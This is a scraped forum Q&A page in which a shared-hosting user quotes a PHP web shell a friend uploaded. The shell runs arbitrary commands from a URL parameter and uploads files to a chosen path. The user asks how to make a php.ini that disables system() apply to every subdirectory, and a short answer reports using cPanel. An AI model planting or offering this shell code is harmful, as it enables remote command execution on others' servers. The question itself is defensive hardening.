Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 68891
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 10, 20262026-05-10T19:29:16+00:00 2026-05-10T19:29:16+00:00

A few weeks ago I opened up a hole on my shared server and

  • 0

A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:

<?php if(isset($_REQUEST['cmd'])) {     echo '<pre>';     $cmd = ($_REQUEST['cmd']);     system($cmd);     echo '</pre>';     die; } ?>  <?php if(isset($_REQUEST['upload'])) {     echo '<form enctype='multipart/form-data' action='.config.php?send' method='POST'>         <input type='hidden' name='MAX_FILE_SIZE' value='5120000' />         Send this file: <input name='userfile' type='file' />         To here: <input type='text' name='direct' value='/home/chriskan/public_html/_phx2600/wp-content/???' />         <input type='submit' value='Send File' />     </form>'; } ?>  <?php if(isset($_REQUEST['send'])) {     $uploaddir = $_POST['direct'];     $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);      if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {         echo 'File is valid, and was successfully uploaded.\n'; echo $uploaddir;     } else {         echo 'Upload failed';     } } ?> 

This script allows him to process commands through in-URL variables.

I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it’s located within my public_html directory, but doesn’t stop it if it’s in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.

My question is, how do I enable my php.ini file to affect all directories/sub-directories of my server?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. 2026-05-10T19:29:16+00:00Added an answer on May 10, 2026 at 7:29 pm

    Thanks guys, your answers were great, but the answer was right under my nose the entire time. Via cPanel I was able to edit my server to use a single php.ini file.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Ask A Question

Stats

  • Questions 291k
  • Answers 292k
  • Best Answers 0
  • User 1
  • Popular
  • Answers
  • Editorial Team

    How to approach applying for a job at a company ...

    • 7 Answers
  • Editorial Team

    What is a programmer’s life like?

    • 5 Answers
  • Editorial Team

    How to handle personal stress caused by utterly incompetent and ...

    • 5 Answers
  • Editorial Team
    Editorial Team added an answer I would recommend creating a web service on the machine… May 13, 2026 at 6:07 pm
  • Editorial Team
    Editorial Team added an answer Both work fine, but I usually use option 2 (pre-mssql… May 13, 2026 at 6:07 pm
  • Editorial Team
    Editorial Team added an answer From the doc: The text field calls this method whenever… May 13, 2026 at 6:07 pm

Related Questions

A few weeks ago I asked the question Is a PHP, Python, PostgreSQL design
A few weeks ago I wrote an SNMP relayer for our ops group. They
A few weeks ago I started making a change in my SVN repository's trunk
A few weeks ago I started my first project with TDD. Up to now,

Trending Tags

analytics british company computer developers django employee employer english facebook french google interview javascript language life php programmer programs salary

Top Members

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.